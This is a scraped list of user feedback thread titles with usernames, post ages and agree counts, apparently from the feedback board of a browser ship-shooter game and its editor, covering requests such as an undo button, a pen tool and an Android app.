  Unvote

  623 agree

• It doesn't work!
  By the destructor - 154 months ago
  Unvote

  622 agree

• Awesome
  By Anonymous - 147 months ago
  Unvote

  602 agree

• Try Me does not work
  By Tim - 155 months ago
  Unvote

  592 agree

• Two major glitches
  By BeyPokéDig - 154 months ago
  Unvote

  590 agree

• battle
  By alexof - 152 months ago
  Unvote

  579 agree

• Save
  By DevilishDB - 153 months ago
  Unvote

  578 agree

• Undo button
  By wombat - 152 months ago
  Unvote

  572 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 148 months ago
  Unvote

  566 agree

• achievements
  By Lee - 154 months ago
  Unvote

  565 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 154 months ago
  Unvote

  564 agree

• how do i draw the outline
  By kickassisdeboss - 154 months ago
  Unvote

  564 agree

• omfg
  By Russellmichael13 - 153 months ago
  Unvote

  558 agree

• Pen tool
  By Cblackdragon - 149 months ago
  Unvote

  552 agree

• White labeling the app?
  By Peter.dibart - 150 months ago
  Unvote

  522 agree

• You guys should have a symmetrical mode
  By Idrees - 154 months ago
  Unvote

  522 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 154 months ago
  Unvote

  519 agree

• Enemies
  By Agallup16 - 154 months ago
  Unvote

  511 agree

• Mirrored editing
  By wombat - 152 months ago
  Unvote

  506 agree

• Designer
  By Anonymous - 155 months ago
  Unvote

  497 agree

• need some advice
  By Hao - 152 months ago
  Unvote

  495 agree

• Rankings
  By heyo - 154 months ago
  Unvote

  493 agree

• Benefits from improving ranks
  By hurrtz - 150 months ago
  Unvote

  489 agree

• Pro!!
  By Jtbui20 - 153 months ago
  Unvote

  488 agree

• Button
  By Cottonball - 153 months ago
  Unvote

  482 agree

• Forums
  By BeyPokéDig - 154 months ago
  Unvote

  478 agree

• help
  By Russellmichael13 - 153 months ago
  Unvote

  476 agree

• android app
  By Barissenkal - 146 months ago
  Unvote

  469 agree

• Undo Button
  By Cblackdragon - 149 months ago
  Unvote

  467 agree

• Extra weapons
  By MassMurdererOver9000 - 149 months ago
  Vote

  465 agree

• 1 agrees
  By BeyPokéDig - 154 months ago
  Unvote

  461 agree

• I am using this on my site
  By Idrees - 154 months ago
  Unvote

  460 agree

• Image for ship
  By wombat - 152 months ago
  Unvote

  455 agree

• 0xp till| Only GA.
  By StoleYourFood - 149 months ago
  Unvote

  455 agree

• Question
  By Kickin Ass - 154 months ago
  Unvote

  441 agree

• how come the editor is so hard to use
  By Rcasassin - 151 months ago
  Unvote

  433 agree

• You guys need an undo button
  By Idrees - 154 months ago
  Unvote

  432 agree

• page moving up/down while controling the ship?
  By Tommy - 154 months ago
  Unvote

  420 agree